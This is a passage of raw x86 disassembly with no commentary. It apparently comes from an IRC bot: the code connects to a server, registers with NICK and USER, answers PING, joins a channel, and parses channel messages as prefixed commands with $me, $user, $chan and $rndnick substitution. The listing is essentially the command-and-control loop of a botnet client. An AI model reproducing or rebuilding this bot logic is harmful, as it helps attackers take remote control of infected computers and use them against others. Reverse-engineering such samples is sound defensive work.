test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40767D
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_40CC40
push 0
lea eax, [ebp+var_2C]
push dword_41DE5C
push dword_41DE58
push eax
call sub_406777
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_42F420
push edi
push eax
call sub_40C720
add esp, 28h
push 6
push 1
push 2
call dword_42D8F4 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_42F414[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_42D824 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_407617
push esi
call dword_42D90C ; closesocket
call sub_405802
push 7D0h
loc_40760C: ; CODE XREF: sub_40752C+135j
call dword_418040 ; Sleep
jmp loc_407551
; ---------------------------------------------------------------------------
loc_407617: ; CODE XREF: sub_40752C+CDj
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_407681
add esp, 20h
mov edi, eax
push esi
call dword_42D90C ; closesocket
test edi, edi
jz loc_407551
cmp edi, 1
jnz short loc_407663
push 0DBBA0h
jmp short loc_40760C
; ---------------------------------------------------------------------------
loc_407663: ; CODE XREF: sub_40752C+12Ej
cmp edi, 2
jnz loc_407551
push [ebp+var_34]
call sub_40C378
pop ecx
push edi
pop eax
loc_407677: ; CODE XREF: sub_40752C+153j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_40767D: ; CODE XREF: sub_40752C+5Aj
xor eax, eax
jmp short loc_407677
sub_40752C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407681 proc near ; CODE XREF: sub_40752C+112p
var_1BA0 = byte ptr -1BA0h
var_BA0 = byte ptr -0BA0h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1BA0h
call sub_40CCA0
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40769F: ; CODE XREF: sub_407681+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40769F
cmp byte_481D55, bl
jz short loc_4076C6
push offset byte_481D55
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40450F
add esp, 0Ch
loc_4076C6: ; CODE XREF: sub_407681+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_406777
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_40C6C3
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_42D8C4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407730
push [ebp+arg_0]
call dword_42D90C ; closesocket
push 1388h
call dword_418040 ; Sleep
loc_407729: ; CODE XREF: sub_407681+D9j
; sub_407681+153j
xor eax, eax
loc_40772B: ; CODE XREF: sub_407681+16Fj
; sub_407681+177j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407730: ; CODE XREF: sub_407681+92j
; sub_407681+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1BA0]
push esi
push ebx
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_1BA0]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_42D890 ; recv
test eax, eax
jle short loc_407729
lea eax, [ebp+var_BA0]
push eax
lea eax, [ebp+var_1BA0]
push eax
call sub_40526A
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_407730
lea edi, [ebp+var_BA0]
loc_407781: ; CODE XREF: sub_407681+165j
xor esi, esi
inc esi
loc_407784: ; CODE XREF: sub_407681+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_4077FD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_4077C7
push 7D0h
call dword_418040 ; Sleep
jmp short loc_407784
; ---------------------------------------------------------------------------
loc_4077C7: ; CODE XREF: sub_407681+137j
cmp esi, 0FFFFFFFDh
jz short loc_4077F5
cmp esi, 0FFFFFFFEh
jz short loc_4077ED
cmp esi, 0FFFFFFFFh
jz loc_407729
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_407781
jmp loc_407730
; ---------------------------------------------------------------------------
loc_4077ED: ; CODE XREF: sub_407681+14Ej
xor eax, eax
inc eax
jmp loc_40772B
; ---------------------------------------------------------------------------
loc_4077F5: ; CODE XREF: sub_407681+149j
push 2
pop eax
jmp loc_40772B
sub_407681 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4077FD proc near ; CODE XREF: sub_407681+12Ap
var_D30 = byte ptr -0D30h
var_B30 = byte ptr -0B30h
var_930 = byte ptr -930h
var_8CF = byte ptr -8CFh
var_8CE = byte ptr -8CEh
var_8CB = byte ptr -8CBh
var_8C2 = byte ptr -8C2h
var_8C0 = byte ptr -8C0h
var_8BE = byte ptr -8BEh
var_8BD = byte ptr -8BDh
var_830 = byte ptr -830h
var_7B0 = byte ptr -7B0h
var_7AC = byte ptr -7ACh
var_754 = dword ptr -754h
var_750 = byte ptr -750h
var_744 = dword ptr -744h
var_740 = byte ptr -740h
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = dword ptr -6B0h
var_6AC = byte ptr -6ACh
var_640 = dword ptr -640h
var_63C = byte ptr -63Ch
var_60C = byte ptr -60Ch
var_5EC = dword ptr -5ECh
var_5C0 = dword ptr -5C0h
var_5BC = dword ptr -5BCh
var_5B8 = dword ptr -5B8h
var_5B4 = dword ptr -5B4h
var_5B0 = dword ptr -5B0h
var_5AC = dword ptr -5ACh
var_5A8 = byte ptr -5A8h
var_58C = dword ptr -58Ch
var_588 = dword ptr -588h
var_584 = byte ptr -584h
var_508 = byte ptr -508h
var_4F8 = dword ptr -4F8h
var_4F4 = byte ptr -4F4h
var_480 = byte ptr -480h
var_474 = byte ptr -474h
var_430 = byte ptr -430h
var_420 = byte ptr -420h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_3F4 = byte ptr -3F4h
var_3E8 = byte ptr -3E8h
var_3A0 = byte ptr -3A0h
var_384 = byte ptr -384h
var_37C = dword ptr -37Ch
var_378 = dword ptr -378h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = byte ptr -2E4h
var_E4 = byte ptr -0E4h
var_D8 = byte ptr -0D8h
var_D4 = dword ptr -0D4h
var_C8 = byte ptr -0C8h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_64 = byte ptr -64h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 0D30h
push ebx
push esi
push edi
mov edi, 200h
xor ebx, ebx
push edi
lea eax, [ebp+var_2E4]
push ebx
push eax
mov [ebp+var_24], 3
mov [ebp+var_10], ebx
mov [ebp+var_A8], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_B0], ebx
call sub_40CC40
push 1Bh
lea eax, [ebp+var_5A8]
push [ebp+arg_10]
push eax
call sub_40C720
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_407C50
push edi
lea eax, [ebp+var_B30]
push ebx
push eax
call sub_40CC40
dec edi
lea eax, [ebp+var_B30]
push edi
push [ebp+arg_0]
push eax
call sub_40C720
lea eax, [ebp+var_B30]
push offset asc_41F928 ; " :"
push eax
call sub_40E4B0
mov [ebp+var_C], eax
lea eax, [ebp+var_B30]
push edi
push eax
lea eax, [ebp+var_D30]
push eax
call sub_40C720
mov edi, offset asc_41F924 ; " "
lea eax, [ebp+var_D30]
push edi
push eax
call sub_40E6E9
xor esi, esi
add esp, 34h
mov [ebp+var_A4], eax
inc esi
loc_4078BC: ; CODE XREF: sub_4077FD+D3j
push edi
push ebx
call sub_40E6E9
mov [ebp+esi*4+var_A4], eax
inc esi
pop ecx
cmp esi, 20h
pop ecx
jl short loc_4078BC
mov edi, [ebp+var_A4]
cmp edi, ebx
jz loc_407C50
cmp [ebp+var_A0], ebx
jz loc_407C50
push 100h
lea eax, [ebp+var_930]
push ebx
push eax
call sub_40CC40
add esp, 0Ch
push 1Fh
pop edx
loc_407904: ; CODE XREF: sub_4077FD+13Bj
lea ecx, [ebp+edx*4+var_A4]
mov eax, [ecx]
cmp eax, ebx
jz short loc_407937
cmp byte ptr [eax], 2Dh
jnz short loc_40793A
cmp [eax+2], bl
jnz short loc_40793A
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov edi, [ebp+var_A4]
mov [ebp+esi+var_930], 1
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_407937: ; CODE XREF: sub_4077FD+112j
dec edx
jns short loc_407904
loc_40793A: ; CODE XREF: sub_4077FD+117j
; sub_4077FD+11Cj
xor esi, esi
inc esi
cmp [ebp+var_8BD], bl
jz short loc_407948
mov [ebp+var_8], esi
loc_407948: ; CODE XREF: sub_4077FD+146j
cmp [ebp+var_8C2], bl
jz short loc_407956
mov [ebp+var_8], ebx
mov [ebp+var_4], esi
loc_407956: ; CODE XREF: sub_4077FD+151j
cmp byte ptr [edi], 0Ah
jz short loc_407990
push 7Fh
lea eax, [ebp+var_830]
push edi
push eax
call sub_40C720
lea eax, [edi+1]
push 17h
push eax
lea eax, [ebp+var_C8]
push eax
call sub_40C720
lea eax, [ebp+var_C8]
push offset asc_41F920 ; "!"
push eax
call sub_40E6E9
add esp, 20h
loc_407990: ; CODE XREF: sub_4077FD+15Cj
push edi
push offset aPing ; "PING"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4079E1
push [ebp+var_A0]
mov byte ptr [edi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_40450F
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_409BEA
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 10h
jmp loc_409BEA
; ---------------------------------------------------------------------------
loc_4079E1: ; CODE XREF: sub_4077FD+1A2j
mov edi, [ebp+var_A0]
push edi
push offset a001 ; "001"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B313
push edi
push offset a005 ; "005"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B313
push edi
push offset a302 ; "302"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_407A53
push offset a@ ; "@"
push [ebp+var_98]
call sub_40E4B0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409BEA
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_40C720
add esp, 0Ch
jmp loc_409BEA
; ---------------------------------------------------------------------------
loc_407A53: ; CODE XREF: sub_4077FD+223j
push edi
push offset a433 ; "433"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_407A91
push ebx
push dword_41DE5C
push dword_41DE58
push [ebp+arg_10]
call sub_406777
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 1Ch
jmp loc_409BEA
; ---------------------------------------------------------------------------
loc_407A91: ; CODE XREF: sub_4077FD+265j
mov edi, [ebp+arg_18]
mov [ebp+var_AC], 2
mov esi, 80h
loc_407AA3: ; CODE XREF: sub_4077FD+2CBj
lea eax, [ebp+var_830]
push eax
push edi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_407AC0
mov [ebp+var_A8], 1
loc_407AC0: ; CODE XREF: sub_4077FD+2B7j
add edi, esi
dec [ebp+var_AC]
jnz short loc_407AA3
mov edi, [ebp+var_A0]
push edi
push offset aKick ; "KICK"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_407BA9
mov edi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_407AEF: ; CODE XREF: sub_4077FD+371j
cmp [edi], bl
jz short loc_407B69
push 7Fh
lea eax, [ebp+var_830]
push edi
push eax
call sub_40C720
add esp, 0Ch
cmp [ebp+var_98], ebx
jz short loc_407B69
push [ebp+var_98]
lea eax, [ebp+var_C8]
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_407B69
lea eax, [ebp+var_C8]
mov [edi], bl
push eax
lea eax, [ebp+var_2E4]
push offset unk_41F8B0
push eax
call sub_40C6C3
lea eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_40450F
lea eax, [ebp+var_2E4]
push eax
call sub_403145
add esp, 20h
loc_407B69: ; CODE XREF: sub_4077FD+2F4j
; sub_4077FD+30Ej ...
add edi, esi
dec [ebp+arg_24]
jnz loc_407AEF
push [ebp+var_98]
push [ebp+arg_10]
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_407C50
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_407B9C: ; CODE XREF: sub_4077FD+5CDj
; sub_4077FD+80Bj ...
push [ebp+arg_4]
call sub_40450F
jmp loc_40AB17
; ---------------------------------------------------------------------------
loc_407BA9: ; CODE XREF: sub_4077FD+2E2j
push edi
push offset aNick ; "NICK"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_407CE5
mov eax, [ebp+var_9C]
mov edi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_407BD2: ; CODE XREF: sub_4077FD+427j
lea eax, [ebp+var_830]
push eax
push edi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_407C1F
lea eax, [ebp+var_830]
push 21h
push eax
call sub_40E610
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_407C1F
push [ebp+arg_24]
lea esi, [edi+2]
mov byte ptr [edi], 3Ah
lea eax, [esi-1]
push eax
call sub_40E3C0
push [ebp+arg_1C]
push esi
call sub_40E3D0
add esp, 10h
mov esi, 80h
loc_407C1F: ; CODE XREF: sub_4077FD+3E6j
; sub_4077FD+3FDj
add edi, esi
dec [ebp+arg_0]
jnz short loc_407BD2
cmp [ebp+arg_24], ebx
jz short loc_407C50
push [ebp+arg_10]
lea eax, [ebp+var_C8]
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_407C58
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_40C720
add esp, 0Ch
loc_407C50: ; CODE XREF: sub_4077FD+54j
; sub_4077FD+DDj ...
xor eax, eax
inc eax
loc_407C53: ; CODE XREF: sub_4077FD+23EFj
; sub_4077FD+26E2j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407C58: ; CODE XREF: sub_4077FD+441j
mov esi, [ebp+arg_18]
xor edi, edi
loc_407C5D: ; CODE XREF: sub_4077FD+481j
cmp [esi], bl
jz short loc_407C74
lea eax, [ebp+var_830]
push eax
push esi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_407C82
loc_407C74: ; CODE XREF: sub_4077FD+462j
inc edi
add esi, 80h
cmp edi, 2
jl short loc_407C5D
jmp short loc_407C50
; ---------------------------------------------------------------------------
loc_407C82: ; CODE XREF: sub_4077FD+475j
lea eax, [ebp+var_830]
push 21h
push eax
call sub_40E610
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_407C50
push eax
call sub_40CBC0
push [ebp+arg_24]
mov esi, eax
call sub_40CBC0
add esi, eax
pop ecx
cmp esi, 7Eh
pop ecx
ja short loc_407C50
push [ebp+arg_0]
shl edi, 7
push [ebp+arg_24]
add edi, [ebp+arg_18]
push offset aSS_0 ; ":%s%s"
push edi
call sub_40C6C3
push ebx
lea eax, [ebp+var_60C]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_404555
add esp, 24h
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_407CE5: ; CODE XREF: sub_4077FD+3BBj
push edi
push offset aPart ; "PART"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_407D07
push edi
push offset aQuit ; "QUIT"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_407D2E
loc_407D07: ; CODE XREF: sub_4077FD+4F7j
mov esi, [ebp+arg_18]
xor edi, edi
loc_407D0C: ; CODE XREF: sub_4077FD+52Fj
cmp [esi], bl
jz short loc_407D22
push [ebp+var_A4]
push esi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_407D6E
loc_407D22: ; CODE XREF: sub_4077FD+511j
inc edi
add esi, 80h
cmp edi, 2
jl short loc_407D0C
loc_407D2E: ; CODE XREF: sub_4077FD+508j
push [ebp+var_A0]
push offset a353 ; "353"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_407DCF
push [ebp+var_94]
push [ebp+arg_8]
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_407C50
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_407D6E: ; CODE XREF: sub_4077FD+523j
mov eax, [ebp+arg_18]
shl edi, 7
mov [edi+eax], bl
lea eax, [ebp+var_C8]
push eax
lea eax, [ebp+var_2E4]
push offset unk_41F860
push eax
call sub_40C6C3
lea eax, [ebp+var_2E4]
push eax
call sub_403145
push [ebp+var_A0]
push offset aPart ; "PART"
call sub_40D860
add esp, 18h
test eax, eax
jnz loc_407C50
lea eax, [ebp+var_2E4]
push eax
mov eax, [ebp+var_A4]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_407B9C
; ---------------------------------------------------------------------------
loc_407DCF: ; CODE XREF: sub_4077FD+545j
push [ebp+var_A0]
mov edi, offset aPrivmsg ; "PRIVMSG"
push edi
call sub_40D860
pop ecx
mov esi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_407E23
push [ebp+var_A0]
push esi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_407E23
push [ebp+var_A0]
push offset dword_41F85C
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_40B19B
cmp dword_41DE44, ebx
jz loc_40B19B
loc_407E23: ; CODE XREF: sub_4077FD+5ECj
; sub_4077FD+5FEj
push [ebp+var_A0]
push edi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_407F27
push [ebp+var_A0]
push esi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_407F27
mov eax, [ebp+var_98]
inc [ebp+var_94]
mov [ebp+var_24], 4
mov [ebp+var_9C], eax
loc_407E68: ; CODE XREF: sub_4077FD+7E3j
; sub_4077FD+81Fj ...
mov eax, [ebp+var_24]
mov edi, eax
shl edi, 2
lea eax, [ebp+edi+var_A4]
mov ecx, [eax]
lea esi, [ecx+1]
mov [eax], esi
mov al, [ecx]
cmp al, byte_41DE50
mov [ebp+arg_C], esi
jnz loc_407C50
push esi
push offset dword_41F858
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B1A3
push esi
push offset dword_41F858
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B1A3
cmp [ebp+var_A8], ebx
jnz short loc_407EDB
push [ebp+var_A0]
push offset dword_41F85C
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_40B19B
loc_407EDB: ; CODE XREF: sub_4077FD+6C2j
cmp [ebp+arg_28], ebx
jnz loc_40B19B
cmp dword_41E170, ebx
mov [ebp+arg_8], ebx
jle loc_40819A
mov [ebp+arg_20], offset dword_42E688
loc_407EFA: ; CODE XREF: sub_4077FD+723j
push esi
push [ebp+arg_20]
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40804C
inc [ebp+arg_8]
add [ebp+arg_20], 0B8h
mov eax, [ebp+arg_8]
cmp eax, dword_41E170
jl short loc_407EFA
jmp loc_40819A
; ---------------------------------------------------------------------------
loc_407F27: ; CODE XREF: sub_4077FD+636j
; sub_4077FD+64Cj
push [ebp+var_A0]
push esi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_407F40
mov [ebp+var_4], 1
loc_407F40: ; CODE XREF: sub_4077FD+73Aj
cmp [ebp+var_9C], ebx
jz loc_407C50
push (offset loc_41A90F+1)
push [ebp+var_9C]
call sub_40E4B0
pop ecx
test eax, eax
pop ecx
jz short loc_407F67
cmp [ebp+var_4], ebx
jz short loc_407F73
loc_407F67: ; CODE XREF: sub_4077FD+763j
lea eax, [ebp+var_C8]
mov [ebp+var_9C], eax
loc_407F73: ; CODE XREF: sub_4077FD+768j
cmp [ebp+var_98], ebx
jz loc_407C50
inc [ebp+var_98]
jz short loc_407FBA
cmp [ebp+arg_10], ebx
jz short loc_407FBA
lea eax, [ebp+var_5A8]
push eax
call sub_40CBC0
push eax
lea eax, [ebp+var_5A8]
push [ebp+var_98]
push eax
call sub_40EAC0
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_24], eax
jmp short loc_407FBD
; ---------------------------------------------------------------------------
loc_407FBA: ; CODE XREF: sub_4077FD+788j
; sub_4077FD+78Dj
mov eax, [ebp+var_24]
loc_407FBD: ; CODE XREF: sub_4077FD+7BBj
mov edi, eax
shl edi, 2
mov esi, [ebp+edi+var_A4]
cmp esi, ebx
jz loc_407C50
push esi
push offset dword_41F84C
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_407E68
mov ecx, [ebp+var_9C]
cmp byte ptr [ecx], 23h
jz short loc_40800D
mov eax, dword_481D5C
mov eax, off_41DF60[eax*4]
cmp [eax], bl
jz short loc_40800D
push eax
push ecx
push offset dword_41F830
jmp loc_407B9C
; ---------------------------------------------------------------------------
loc_40800D: ; CODE XREF: sub_4077FD+7F2j
; sub_4077FD+802j
push esi
push offset dword_41F828
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_407E68
mov edi, [ebp+edi+var_A0]
cmp edi, ebx
jz loc_407E68
mov eax, [ebp+var_9C]
cmp byte ptr [eax], 23h
jz loc_407E68
push edi
push eax
push offset dword_41F810
jmp loc_407B9C
; ---------------------------------------------------------------------------
loc_40804C: ; CODE XREF: sub_4077FD+70Aj
push offset asc_41F928 ; " :"
push [ebp+arg_0]
call sub_40E4B0
pop ecx
cmp eax, ebx
pop ecx
jz loc_407C50
mov esi, [ebp+arg_8]
mov cl, byte_41DE50
imul esi, 0B8h
mov [eax+2], cl
mov cl, byte_41DE50
mov [eax+3], cl
lea ecx, dword_42E6A0[esi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_40C720
lea eax, dword_42E688[esi]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_20], eax
lea esi, [ebp+edi+var_64]
loc_4080AA: ; CODE XREF: sub_4077FD+938j
push [ebp+arg_8]
lea eax, [ebp+var_20]
push offset aD_1 ; "$%d-"
push eax
call sub_40C6C3
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_40E4B0
add esp, 14h
test eax, eax
jz short loc_408103
cmp [esi], ebx
jz short loc_408107
push [ebp+arg_20]
call sub_40CBC0
add [ebp+var_C], eax
pop ecx
jz short loc_40812C
push dword ptr [esi-4]
push [ebp+var_C]
call sub_40E4B0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40812C
push eax
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_4051D9
add esp, 0Ch
jmp short loc_40812C
; ---------------------------------------------------------------------------
loc_408103: ; CODE XREF: sub_4077FD+8CFj
cmp [esi], ebx
jnz short loc_40812C
loc_408107: ; CODE XREF: sub_4077FD+8D3j
lea eax, [ebp+var_20]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_40C720
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_4051D9
add esp, 18h
loc_40812C: ; CODE XREF: sub_4077FD+8E1j
; sub_4077FD+8F2j ...
dec [ebp+arg_8]
sub esi, 4
cmp [ebp+arg_8], ebx
jg loc_4080AA
lea eax, [ebp+edi+var_64]
mov [ebp+arg_8], 10h
mov esi, eax
loc_408148: ; CODE XREF: sub_4077FD+98Ej
push [ebp+arg_8]
lea eax, [ebp+var_20]
push offset aD_0 ; "$%d"
push eax
call sub_40C6C3
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_40E4B0
add esp, 14h
test eax, eax
jz short loc_408182
mov eax, [esi]
cmp eax, ebx
jz short loc_408182
push eax
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_4051D9
add esp, 0Ch
loc_408182: ; CODE XREF: sub_4077FD+96Dj
; sub_4077FD+973j
dec [ebp+arg_8]
sub esi, 4
cmp [ebp+arg_8], ebx
jg short loc_408148
mov esi, [ebp+arg_C]
mov [ebp+var_B0], 1
loc_40819A: ; CODE XREF: sub_4077FD+6F0j
; sub_4077FD+725j
mov al, [esi]
cmp al, byte_41DE50
jz short loc_4081B0
cmp [ebp+var_B0], ebx
jz loc_40836C
loc_4081B0: ; CODE XREF: sub_4077FD+9A5j
push [ebp+arg_10]
mov esi, [ebp+arg_0]
push offset aMe ; "$me"
push esi
call sub_4051D9
lea eax, [ebp+var_C8]
push eax
push offset aUser_2 ; "$user"
push esi
call sub_4051D9
push [ebp+var_9C]
push offset aChan ; "$chan"
push esi
call sub_4051D9
push ebx
push ebx
lea eax, [ebp+var_20]
push 2
push eax
call sub_406777
push eax
push offset aRndnick_0 ; "$rndnick"
push esi
call sub_4051D9
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push esi
call sub_4051D9
mov esi, offset aChr ; "$chr("
push esi
push [ebp+arg_0]
call sub_40E4B0
add esp, 14h
jmp loc_4082E7
; ---------------------------------------------------------------------------
loc_408224: ; CODE XREF: sub_4077FD+AECj
push esi
push [ebp+arg_0]
call sub_40E4B0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_40C720
lea eax, [ebp+var_20]
push offset asc_41F7D0 ; ")"
push eax
call sub_40E6E9
add esp, 1Ch
cmp [ebp+var_20], 30h
jl short loc_40825C
cmp [ebp+var_20], 39h
jle short loc_40826F
loc_40825C: ; CODE XREF: sub_4077FD+A57j
push 3
lea eax, [ebp+var_20]
push offset a63 ; "63"
push eax
call sub_40C720
add esp, 0Ch
loc_40826F: ; CODE XREF: sub_4077FD+A5Dj
lea eax, [ebp+var_20]
push eax
call sub_40D9BF
test eax, eax
pop ecx
jle short loc_40828C
lea eax, [ebp+var_20]
push eax
call sub_40D9BF
pop ecx
mov [ebp+var_14], al
jmp short loc_40829D
; ---------------------------------------------------------------------------
loc_40828C: ; CODE XREF: sub_4077FD+A7Ej
call sub_40CB5F
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40829D: ; CODE XREF: sub_4077FD+A8Dj
lea eax, [ebp+var_20]
mov [ebp+var_13], bl
push eax
call sub_40CBC0
mov [ebp+arg_8], eax
push 0Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_40CC40
mov eax, [ebp+arg_8]
add eax, 6
push eax
